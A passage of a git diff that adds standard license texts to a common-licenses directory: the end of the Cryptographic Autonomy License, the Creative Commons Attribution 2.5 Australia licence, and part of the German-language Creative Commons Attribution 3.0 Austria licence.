+response to patent litigation, and enforcement actions against former
+Licensees terminated under this section do not cause termination due
+to litigation.
+
+## 6. Disclaimer of Warranty and Limit on Liability
+
+As far as the law allows, the Work comes AS-IS, without any warranty
+of any kind, and no Licensor or contributor will be liable to anyone
+for any damages related to this software or this license, under any
+kind of legal claim, or for any type of damages, including indirect,
+special, incidental, or consequential damages of any type arising as a
+result of this License or the use of the Work including, without
+limitation, damages for loss of goodwill, work stoppage, computer
+failure or malfunction, loss of profits, revenue, or any and all other
+commercial damages or losses.
+
+## 7. Other Provisions
+### 7.1. Affiliates
+
+An "Affiliate" means any other entity that, directly or indirectly
+through one or more intermediaries, controls, is controlled by, or is
+under common control with, the Licensee. Employees of a Licensee and
+natural persons acting as contractors exclusively providing services
+to Licensee are also Affiliates.
+
+### 7.2. Choice of Jurisdiction and Governing Law
+
+A Licensor may require that any action or suit by a Licensee relating
+to a Work provided by Licensor under this License may be brought only
+in the courts of a particular jurisdiction and under the laws of a
+particular jurisdiction (excluding its conflict-of-law provisions), if
+Licensor provides conspicuous notice of the particular jurisdiction to
+all Licensees.
+
+### 7.3. No Sublicensing
+
+This License is not sublicensable. Each time You provide the Work or a
+Modified Work to a Recipient, the Recipient automatically receives a
+license under the terms described in this License. You may not impose
+any further reservations, conditions, or other provisions on any
+Recipients' exercise of the permissions granted herein.
+
+### 7.4. Attorneys' Fees
+
+In any action to enforce the terms of this License, or seeking damages
+relating thereto, including by an intended third-party beneficiary,
+the prevailing party shall be entitled to recover its costs and
+expenses, including, without limitation, reasonable attorneys' fees
+and costs incurred in connection with such action, including any
+appeal of such action. A "prevailing party" is the party that
+achieves, or avoids, compliance with this License, including through
+settlement. This section shall survive the termination of this
+License.
+
+### 7.5. No Waiver
+
+Any failure by Licensor to enforce any provision of this License will
+not constitute a present or future waiver of such provision nor limit
+Licensor's ability to enforce such provision at a later time.
+
+### 7.6. Severability
+
+If any provision of this License is held to be unenforceable, such
+provision shall be reformed only to the extent necessary to make it
+enforceable. Any invalid or unenforceable portion will be interpreted
+to the effect and intent of the original portion. If such a
+construction is not possible, the invalid or unenforceable portion
+will be severed from this License but the rest of this License will
+remain in full force and effect.
+
+### 7.7. License for the Text of this License
+
+The text of this license is released under the Creative Commons
+Attribution-ShareAlike 4.0 International License, with the caveat that
+any modifications of this license may not use the name "Cryptographic
+Autonomy License" or any name confusingly similar thereto to describe
+any derived work of this License.
diff --git a/meta/files/common-licenses/CC-BY-2.5-AU b/meta/files/common-licenses/CC-BY-2.5-AU
new file mode 100644
index 0000000000..23b8800919
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-2.5-AU
@@ -0,0 +1,112 @@
+Creative Commons Attribution 2.5 Australia
+
+CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENCE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE.
+
+Licence
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENCE ("CCPL" OR "LICENCE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORISED UNDER THIS LICENCE AND/OR APPLICABLE LAW IS PROHIBITED.
+
+BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENCE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.
+
+ 1. Definitions
+
+ a. "Collective Work" means a work, such as a periodical issue, anthology or encyclopaedia, in which the Work in its entirety in unmodified form, along with a number of other contributions, constituting separate and independent works in themselves, are assembled into a collective whole. A work that constitutes a Collective Work will not be considered a Derivative Work (as defined below) for the purposes of this Licence.
+
+ b. "Derivative Work" means a work that reproduces a substantial part of the Work, or of the Work and other pre-existing works protected by copyright, or that is an adaptation of a Work that is a literary, dramatic, musical or artistic work. Derivative Works include a translation, musical arrangement, dramatisation, motion picture version, sound recording, art reproduction, abridgment, condensation, or any other form in which a work may be adapted, except that a work that constitutes a Collective Work will not be considered a Derivative Work for the purpose of this Licence. For the avoidance of doubt, where the Work is a musical composition or sound recording, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered a Derivative Work for the purpose of this Licence.
+
+ c. "Licensor" means the individual or entity that offers the Work under the terms of this Licence.
+
+ d. "Moral rights law" means laws under which an individual who creates a work protected by copyright has rights of integrity of authorship of the work, rights of attribution of authorship of the work, rights not to have authorship of the work falsely attributed, or rights of a similar or analogous nature in the work anywhere in the world.
+
+ e. "Original Author" means the individual or entity who created the Work.
+
+ f. "Work" means the work or other subject-matter protected by copyright that is offered under the terms of this Licence, which may include (without limitation) a literary, dramatic, musical or artistic work, a sound recording or cinematograph film, a published edition of a literary, dramatic, musical or artistic work or a television or sound broadcast.
+
+ g. "You" means an individual or entity exercising rights under this Licence who has not previously violated the terms of this Licence with respect to the Work, or who has received express permission from the Licensor to exercise rights under this Licence despite a previous violation.
+
+ h. "Licence Elements" means the following high-level licence attributes as selected by Licensor and indicated in the title of this Licence: Attribution, NonCommercial, NoDerivatives, ShareAlike.
+
+2. Fair Dealing and Other Rights. Nothing in this Licence excludes or modifies, or is intended to exclude or modify, (including by reducing, limiting, or restricting) the rights of You or others to use the Work arising from fair dealings or other limitations on the rights of the copyright owner or the Original Author under copyright law, moral rights law or other applicable laws.
+
+3. Licence Grant. Subject to the terms and conditions of this Licence, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) licence to exercise the rights in the Work as stated below:
+
+ a. to reproduce the Work, to incorporate the Work into one or more Collective Works, and to reproduce the Work as incorporated in the Collective Works;
+
+ b. to create and reproduce Derivative Works;
+
+ c. to publish, communicate to the public, distribute copies or records of, exhibit or display publicly, perform publicly and perform publicly by means of a digital audio transmission the Work including as incorporated in Collective Works;
+
+ d. to publish, communicate to the public, distribute copies or records of, exhibit or display publicly, perform publicly, and perform publicly by means of a digital audio transmission Derivative Works;
+
+ e. For the avoidance of doubt, where the Work is a musical composition:
+
+ i. Performance Royalties Under Blanket Licences. Licensor will not collect, whether individually or via a performance rights society, royalties for Your communication to the public, broadcast, public performance or public digital performance (e.g. webcast) of the Work.
+
+ ii. Mechanical Rights and Statutory Royalties. Licensor will not collect, whether individually or via a music rights agency, designated agent or a music publisher, royalties for any record You create from the Work ("cover version") and distribute, subject to the compulsory licence created by 17 USC Section 115 of the US Copyright Act (or an equivalent statutory licence under the Australian Copyright Act or in other jurisdictions).
+
+
+ f. Webcasting Rights and Statutory Royalties. For the avoidance of doubt, where the Work is a sound recording, Licensor will not collect, whether individually or via a performance-rights society, royalties for Your public digital performance (e.g. webcast) of the Work, subject to the compulsory licence created by 17 USC Section 114 of the US Copyright Act (or the equivalent in other jurisdictions).
+
+The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. All rights not expressly granted by Licensor under this Licence are hereby reserved.
+
+4. Restrictions. The licence granted in Section 3 above is expressly made subject to and limited by the following restrictions:
+
+ a. You may publish, communicate to the public, distribute, publicly exhibit or display, publicly perform, or publicly digitally perform the Work only under the terms of this Licence, and You must include a copy of, or the Uniform Resource Identifier for, this Licence with every copy or record of the Work You publish, communicate to the public, distribute, publicly exhibit or display, publicly perform or publicly digitally perform. You may not offer or impose any terms on the Work that exclude, alter or restrict the terms of this Licence or the recipients' exercise of the rights granted hereunder. You may not sublicense the Work. You must keep intact all notices that refer to this Licence and to the disclaimer of representations and warranties. You may not publish, communicate to the public, distribute, publicly exhibit or display, publicly perform, or publicly digitally perform the Work with any technological measures that control access or use of the Work in a manner inconsistent with the terms of this Licence. The above applies to the Work as incorporated in a Collective Work, but this does not require the Collective Work apart from the Work itself to be made subject to the terms of this Licence. If You create a Collective Work, upon notice from any Licensor You must, to the extent practicable, remove from the Collective Work any credit as required by Section 4(b), as requested. If You create a Derivative Work, upon notice from any Licensor You must, to the extent practicable, remove from the Derivative Work any credit as required by Section 4(b), as requested.
+
+ b. If you publish, communicate to the public, distribute, publicly exhibit or display, publicly perform, or publicly digitally perform the Work or any Derivative Works or Collective Works, You must keep intact all copyright notices for the Work. You must also give clear and reasonably prominent credit to (i) the Original Author (by name or pseudonym if applicable), if the name or pseudonym is supplied; and (ii) if another party or parties (eg a sponsor institute, publishing entity or journal) is designated for attribution in the copyright notice, terms of service or other reasonable means associated with the Work, such party or parties. If applicable, that credit must be given in the particular way made known by the Original Author and otherwise as reasonable to the medium or means You are utilizing, by conveying the identity of the Original Author and the other designated party or parties (if applicable); the title of the Work if supplied; to the extent reasonably practicable, the Uniform Resource Identifier, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and in the case of a Derivative Work, a credit identifying the use of the Work in the Derivative Work (e.g., "French translation of the Work by Original Author," or "Screenplay based on original Work by Original Author"). Such credit may be implemented in any reasonable manner; provided, however, that in the case of a Derivative Work or Collective Work, at a minimum such credit will appear where any other comparable authorship credit appears and in a manner at least as prominent as such other comparable authorship credit.
+
+ c. False attribution prohibited. Except as otherwise agreed in writing by the Licensor, if You publish, communicate to the public, distribute, publicly exhibit or display, publicly perform, or publicly digitally perform the Work or any Derivative Works or Collective Works in accordance with this Licence, You must not falsely attribute the Work to someone other than the Original Author.
+
+ d. Prejudice to honour or reputation prohibited. Except as otherwise agreed in writing by the Licensor, if you publish, communicate to the public, distribute, publicly exhibit or display, publicly perform, or publicly digitally perform the Work or any Derivative Works or Collective Works, You must not do anything that results in a material distortion of, the mutilation of, or a material alteration to, the Work that is prejudicial to the Original Author's honour or reputation, and You must not do anything else in relation to the Work that is prejudicial to the Original Author's honour or reputation.
+
+5. Disclaimer.
+
+EXCEPT AS EXPRESSLY STATED IN THIS LICENCE OR OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, AND TO THE FULL EXTENT PERMITTED BY APPLICABLE LAW, LICENSOR OFFERS THE WORK "AS-IS" AND MAKES NO REPRESENTATIONS, WARRANTIES OR CONDITIONS OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, ANY REPRESENTATIONS, WARRANTIES OR CONDITIONS REGARDING THE CONTENTS OR ACCURACY OF THE WORK, OR OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, THE ABSENCE OF LATENT OR OTHER DEFECTS, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE.
+
+6. Limitation on Liability.
+
+TO THE FULL EXTENT PERMITTED BY APPLICABLE LAW, AND EXCEPT FOR ANY LIABILITY ARISING FROM CONTRARY MUTUAL AGREEMENT AS REFERRED TO IN SECTION 5, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, NEGLIGENCE) FOR ANY LOSS OR DAMAGE WHATSOEVER, INCLUDING (WITHOUT LIMITATION) LOSS OF PRODUCTION OR OPERATION TIME, LOSS, DAMAGE OR CORRUPTION OF DATA OR RECORDS; OR LOSS OF ANTICIPATED SAVINGS, OPPORTUNITY, REVENUE, PROFIT OR GOODWILL, OR OTHER ECONOMIC LOSS; OR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF OR IN CONNECTION WITH THIS LICENCE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+If applicable legislation implies warranties or conditions, or imposes obligations or liability on the Licensor in respect of this Licence that cannot be wholly or partly excluded, restricted or modified, the Licensor's liability is limited, to the full extent permitted by the applicable legislation, at its option, to:
+
+ a. in the case of goods, any one or more of the following:
+
+ i. the replacement of the goods or the supply of equivalent goods;
+
+ ii. the repair of the goods;
+
+ iii. the payment of the cost of replacing the goods or of acquiring equivalent goods;
+
+ iv. the payment of the cost of having the goods repaired; or
+
+ b. in the case of services:
+
+ i. the supplying of the services again; or
+
+ ii. the payment of the cost of having the services supplied again.
+
+7. Termination.
+
+ a. This Licence and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this Licence. Individuals or entities who have received Derivative Works or Collective Works from You under this Licence, however, will not have their licences terminated provided such individuals or entities remain in full compliance with those licences. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this Licence.
+
+ b. Subject to the above terms and conditions, the licence granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different licence terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this Licence (or any other licence that has been, or is required to be, granted under the terms of this Licence), and this Licence will continue in full force and effect unless terminated as stated above.
+
+8. Miscellaneous.
+
+ a. Each time You publish, communicate to the public, distribute or publicly digitally perform the Work or a Collective Work, the Licensor offers to the recipient a licence to the Work on the same terms and conditions as the licence granted to You under this Licence.
+
+ b. Each time You publish, communicate to the public, distribute or publicly digitally perform a Derivative Work, Licensor offers to the recipient a licence to the original Work on the same terms and conditions as the licence granted to You under this Licence.
+
+ c. If any provision of this Licence is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this Licence, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
+
+ d. No term or provision of this Licence shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent.
+
+ e. This Licence constitutes the entire agreement between the parties with respect to the Work licensed here. To the full extent permitted by applicable law, there are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This Licence may not be modified without the mutual written agreement of the Licensor and You.
+
+ f. The construction, validity and performance of this Licence shall be governed by the laws in force in New South Wales, Australia.
+
+Creative Commons is not a party to this Licence, and, to the full extent permitted by applicable law, makes no representation or warranty whatsoever in connection with the Work. To the full extent permitted by applicable law, Creative Commons will not be liable to You or any party on any legal theory (including, without limitation, negligence) for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this licence. Notwithstanding the foregoing two (2) sentences, if Creative Commons has expressly identified itself as the Licensor hereunder, it shall have all rights and obligations of Licensor.
+
+Except for the limited purpose of indicating to the public that the Work is licensed under the CCPL, neither party will use the trademark "Creative Commons" or any related trademark or logo of Creative Commons without the prior written consent of Creative Commons. Any permitted use will be in compliance with Creative Commons' then-current trademark usage guidelines, as may be published on its website or otherwise made available upon request from time to time.
+
+Creative Commons may be contacted at https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-3.0-AT b/meta/files/common-licenses/CC-BY-3.0-AT
new file mode 100644
index 0000000000..b22fedef2d
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-3.0-AT
@@ -0,0 +1,111 @@
+CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Bearbeitung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange dieses erkennbar vom Schutzgegenstand abgeleitet wurde. Dies kann insbesondere auch eine Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Bearbeitung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Nutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten zu einem einheitlichen Ganzen, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine eigentümliche geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand oder Bearbeitungen im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit zugänglich zu machen oder in Verkehr zu bringen.
+
+ d. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ e. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und eine Erteilung, Übertragung oder Einräumung von Nutzungsbewilligungen bzw Nutzungsrechten an Dritte erlaubt.
+
+ f. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine eigentümliche geistige Schöpfung jeglicher Art oder ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff „Schutzgegenstand“ im Sinne dieser Lizenz.
+
+ g. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährte Nutzungsbewilligung trotz eines vorherigen Verstoßes auszuüben.
+
+ h. Unter "Öffentlich Wiedergeben" im Sinne dieser Lizenz sind Wahrnehmbarmachungen des Schutzgegenstandes in unkörperlicher Form zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung oder zeit- und ortsunabhängiger Zurverfügungstellung erfolgen, unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ i. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, gleichviel in welchem Verfahren, auf welchem Träger, in welcher Menge und ob vorübergehend oder dauerhaft, Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch das erstmalige Festhalten des Schutzgegenstandes oder dessen Wahrnehmbarmachung auf Mitteln der wiederholbaren Wiedergabe sowie das Herstellen von Vervielfältigungsstücken dieser Festhaltung, sowie die Speicherung einer geschützten Darbietung oder eines Bild- und/oder Schallträgers in digitaler Form oder auf einem anderen elektronischen Medium.
+
+2. Beschränkungen der Verwertungsrechte
+
+Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die sich aus den Beschränkungen der Verwertungsrechte, anderen Beschränkungen der Ausschließlichkeitsrechte des Rechtsinhabers oder anderen entsprechenden Rechtsnormen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Lizenzierung
+
+Unter den Bedingungen dieser Lizenz erteilt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 3.e) - die vergütungsfreie, räumlich und zeitlich (für die Dauer des Urheberrechts oder verwandten Schutzrechts am Schutzgegenstand) unbeschränkte Nutzungsbewilligung, den Schutzgegenstand in der folgenden Art und Weise zu nutzen:
+
+ a. Den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. Den Schutzgegenstand zu bearbeiten, einschließlich Übersetzungen unter Nutzung jedweder Medien anzufertigen, sofern deutlich erkennbar gemacht wird, dass es sich um eine Bearbeitung handelt;
+
+ c. Den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich wiederzugeben und zu verbreiten; und
+
+ d. Bearbeitungen des Schutzgegenstandes zu veröffentlichen, öffentlich wiederzugeben und zu verbreiten.
+
+ e. Bezüglich der Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechenden Vergütungsansprüche für jede Ausübung eines Rechts aus dieser Lizenz durch Sie geltend zu machen.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, verzichtet der Lizenzgeber für alle Fälle einer lizenzgerechten Nutzung des Schutzgegenstandes durch Sie auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Geltendmachung der Vergütungsansprüche durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre.
+
+Die vorgenannte Nutzungsbewilligung wird für alle bekannten sowie alle noch nicht bekannten Nutzungsarten eingeräumt. Sie beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich vom Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf die Geltendmachung sämtlicher daraus resultierender Rechte.
+
+4. Bedingungen
+
+Die Erteilung der Nutzungsbewilligung gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich wiedergeben. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich wiedergeben, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich wiedergeben, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dasselbe gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie - soweit dies praktikabel ist - auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.b) aufgezählten Hinweise entfernen. Wenn Sie eine Bearbeitung vornehmen, müssen Sie – soweit dies praktikabel ist – auf die Mitteilung eines Lizenzgebers hin von der Bearbeitung die in Abschnitt 4.b) aufgezählten Hinweise entfernen.
+
+ b. Die Verbreitung und die öffentliche Wiedergabe des Schutzgegenstandes oder auf ihm aufbauender Inhalte oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Urheberschaft oder die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie selbst – soweit bekannt – Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) Rechteinhabers, und/oder falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) („Zuschreibungsempfänger“), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand;
+
+ iv. und im Falle einer Bearbeitung des Schutzgegenstandes in Übereinstimmung mit Abschnitt 3.b) einen Hinweis darauf, dass es sich um eine Bearbeitung handelt.
+
+ Die nach diesem Abschnitt 4.b) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle einer Bearbeitung des Schutzgegenstandes oder eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung aller Beitragenden dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Urhebers, des Lizenzgebers und/oder des Zuschreibungsempfängers weder implizit noch explizit irgendeine Verbindung mit dem oder eine Unterstützung oder Billigung durch den Urheber, den Lizenzgeber oder den Zuschreibungsempfänger andeuten oder erklären.
+
+ c. Die oben unter 4.a) und b) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ d. (Urheber)Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE ERTEILUNG DER NUTZUNGSBEWILLIGUNG UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN.
+
+6. Haftungsbeschränkung
+
